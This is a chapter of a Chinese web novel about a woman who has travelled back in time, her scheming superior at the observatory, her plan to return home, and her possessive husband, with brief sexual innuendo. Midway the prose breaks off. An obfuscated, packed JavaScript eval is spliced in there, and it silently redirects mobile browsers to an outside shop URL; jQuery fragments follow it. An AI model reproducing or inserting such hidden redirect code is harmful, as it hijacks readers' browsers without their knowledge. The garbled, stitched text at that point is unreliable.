顶头上司成了最讨厌的人,可见往后会受多少折磨。雪杏一时萎靡,还得摆着笑脸到钦天监。
李监正完全是小人得志,乐得小眼都快笑没了:“小苏啊,我早与你说了,陛下信重我,有意让我统管钦天监和观星司,好让我家数代传下来的才能有用武之地。”
他一边嚼着雪杏的小杏干,一边喜滋滋地讲述祖上光辉事迹。
该说不说,李家测星观象的本事是代代传下来的,能掐会算,还能预见数年后的场景。
经历了穿越怪事的雪杏,对他还是很敬重的,冷静地划分在了不能惹的范畴里。
直到一袋的小杏干被吃完了,李监正才停了手,意犹未尽地让她自己参观,他就不陪她一个小下属了。
雪杏要的就是这个。
等到下值,人都走光了,她上手翻了当年的星象记录,果不其然,那天夜里一颗异星突现,远观不过指甲盖大小,却亮如明月,骤然划过黑夜,留下一长串余辉。
这并非是大越开朝以来,头一次出现此等异象。
下一次……会是什么时候?
“苏雪杏,你怎么还在这?”
身后突然传来质疑声,她听得心一抖,差点没拿稳,扭头才见是去而复返的李监正。
她装作没事干的样子,讪讪地说:“就、就随便看看,陛下不是召监正有事商量嘛,怎么回来了?”
李监正脸色沉着,上下审视着她,见她手里拿的只是星象记录,才略放下心:“我的事情,皆是陛下吩咐,岂是你能过问的?”
小喽啰雪杏默默闭上了嘴。
李监正手一背,没打算放过她:“小苏啊,不是我想说你,你年纪小,脑袋却不灵光,跟没断奶的孩子一样,上值还要带点零嘴,让别人看到像什么样子……”
他叽里呱啦说了一大堆,雪杏受教地点头,实则早就忍不下去了。
直到门外传来唤她名字的声音,“雪杏。”
两人扭头看过去,黄昏温柔的光影里,站着季慎颀长的身影。
他神色冷淡,视线缓缓地移到了李监正那儿,却在说:“雪杏,怎么还不走?”
一瞬间,雪杏突然觉得靠山来了,朝他跑过去:“现在就走。”
李监正的嘴脸一下就变了,笑吟吟地凑上来:“我看苏女官在观星之术上颇有天资,没忍住,就多提点了几句,这才耽误了。”
呸,谄媚,雪杏在心里鄙视他,然后晃了晃丈夫的手臂,小声说:“玉衡,快走吧。”
季慎侧头看她,她的脸在蹭他,跟小黄似地抓着他不放,迫不及待地要和他一起离开。
他只对李监正说了一句,语气有点冷:“李监正,我想你清楚我和雪杏的关系。”
说完,不管那人的脸色有多难看,后果又是什么,就拉着妻子一块回家了。
李监正是陛下的耳目,今日他来钦天监说的所有话都会传入陛下耳中。
陛下不喜永安,他若靠得太近,自会招惹猜忌。
为了避嫌,他和妻子的公务一向是分开的,最好永远不要有牵扯。上次去庄子,也是事出有因,并非他本意。而这次……这次他无话可说。
保护妻子,是丈夫的责任。
亘古不变。
*
刚回府,小黄就往两人身上冲,翘着尾巴,在地上滚来滚去。
雪杏蹲下身,趁机去摸小狗肚皮。
季慎是不喜欢狗的,谁能容忍一个乱跑乱叫乱尿的傻狗在家里待着?可雪杏非抱着它,握起狗爪冲他笑,说什么猫来财狗来福的,恳求他留下小狗。
他只好答应了妻子过分的要求,但他绝不会去惹一身狗毛的,只旁观她低身逗狗。
雪杏今天的衣服很宽松,动作幅度大时,才会绷出一些饱满的弧度。
洁白的脖颈微低,腰背弓着,紧紧地贴出了圆润,他深知妻子的柔软和脆弱,是以常常要控制掌心的力度,可写惯了字的指腹,覆着厚茧,只擦过娇嫩的肌肤,就会换来细微的呻吟。这让他很费心。
“玉衡。”雪杏又抱起小黄了:“看我们小黄现在长得多好。”
胖得她都快端不动了。
季慎反应平淡:“是长大了些。”
雪杏不满意他的回答,捏着狗爪,往他身上按了一脚。
谁知道小黄这狗不爱干净,踩出了黢黑爪印。
她吓得一呆,趁丈夫没反应过来,端着小黄就往府里跑了。
季慎没管衣裳,看向跑得没影的雪杏,又摸了摸被她贴了一路的臂弯。
……
雪杏去找林颂了。
虽说被李监正打断,但她亲眼看见了写在一旁的预测。
【异象原因不明,擦过夜空时,造成星宿连续波动,隐有惑乱天下之兆。而在三年内,异象极有可能重现。】
这上面说了三年,应是当日异象发生时写的,算起来,也仅剩不到三月了。
这就意味着,她和林颂很有可能要回家了。
将这一切如实告诉林颂时,他深吸了一口气,强迫自己放松下来:“三个月,那只要找到另一只木狮,就能顺利回去了。”
听起来简单,可天下那么大,谁知道那只木狮又在哪儿?
至少现在来看,希望无比渺茫,只能纯靠运气瞎找。
可两人都不愿意去想失败,雪杏挑着轻松的话说:“说不定三个月后,就能吃上妈做的糖醋排骨了,到时候你可别跟我抢。”
林颂笑了笑:“好,都是你的。”
刚闲聊没几句,季慎忽而出现了,明晃晃地站到雪杏身边,往外人那看了眼,带着冷厉的警告意味。
林颂很不喜这种亦步亦趋的行为,搞得两人有多亲密,分不开似的。
实际上,马上都要被雪杏踹了。
而自己会替他承担嘘寒问暖的工作,抓紧取代他上位。
林颂带着点无奈说:“雪杏,我话还没说完呢,他怎么就……”
言外之意,你老公盯你太紧了,一点也不知趣,都耽误我们商量大事了。
雪杏茫然地呆了下,才明白有季慎在,一些话的确没办法敞开说。
她只好用手肘捅捅丈夫:“要不你先回去吧。”
季慎是来找她吃晚饭的,虽然两人以往也没在一块吃,但他觉得她体力不济,一定和进食过少有关,专程来监督她。
可刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938590|213796||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走过来,却被要求给妻子和野男人腾地方聊天。
什么事是他作为丈夫也听不了的?
他盯紧雪杏的神情,想从中寻找问题的答案。
可惜,雪杏的心思全扑在了穿越上,敷衍地冲他笑了笑,就吝于显露更多情绪了。
她忙着和林颂说话,状若无人,只给留下他一截白净又无情的侧颈,那里还残存他昨夜吻出的浅淡痕迹。
季慎开了口:“有什么是我不能听的吗?雪杏。”
他迎上雪杏的视线,脸色平静,慢慢地吐出字:“你和林公子有什么事,是我不知道的吗?”
一点微不可察的试探冒了出来,企图打破他们旁若无人的气氛,横插进去,好让她想起谁才是枕边人。
可雪杏隐瞒的事何止一两件,矢口否认:“没、没有啊,就是……就是在找一个我们儿时见过的玩具。”
她说得犹豫,一方面害怕透露太多,季慎会发现她的来处,将她当成怪物,一方面又希冀着季慎能替她找到什么线索,寻到那只木狮。
“什么玩具?有我能帮上忙的吗?”
雪杏和他简单描述了木狮的长相,又欲盖弥彰地说:“就是一个小玩具,找不到就算了,不用放在心上。”
“我会让人多留意的。”他说:“现在可以回去了吗?”
现在雪杏没有了拒绝的理由,讷讷地点头。
他又对着林颂说:“今晚袁管事只备了我们两人的饭菜,容不下第三双筷子,就不邀林公子一道过去了。”
有些人总是摆不清自己的身份,居然妄图破坏别人的家庭,这置礼法于何地,置德行于何地?实在是放浪形骸,不知廉耻。
到底站在身份的高位上,他可以理所应当地表露对妻子的占有欲,合情合理合法。
林颂恍然未觉他的敌意,微卷长发撂到身前,勾引般冲雪杏笑:“那我明天再来找你。”
……
夫妻两第一次一块在饭桌在用膳,雪杏心不在焉地咬着菜,她总觉得刚才两人话里有话,又说不上是哪。
季慎替她夹了一筷,提醒道:“你用的太少了,太过消瘦,易生病端,再多吃些吧。”
消瘦吗?她捏了捏脸颊肉,暗自嘀咕,明明都肿起来了。
这几天她吃了那么多杏脯,加上袁管事备的三餐太丰富了,次次都吃到撑,肯定胖了不少。
她克制地说:“不用了,我已经吃饱了。”
季慎看她一眼,伸手去摸她的小腹,柔软,温暖,微微起伏,却又是很薄的一层。
他得出结论:“再吃一点,饿过头容易晕。”
雪杏不在意地说:“不会晕的,我身体一向很好。”
季慎轻飘飘地说出反证:“那昨夜你为什么要踢我,还说自己受不住要死了?”
说是踢,腿连抬起的力气都没有,软绵绵地往他肩上踩。见推不开,又拢着他的后颈,破碎又痛苦地低泣,说要坏了,受不住了……
怎么会坏呢?不会的,他温和地安抚并亲吻妻子。
雪杏一下无地自容,从耳垂到脖子都漫起了浅粉的羞意,脸差点埋进碗里了。
这、这怎么能相提并论?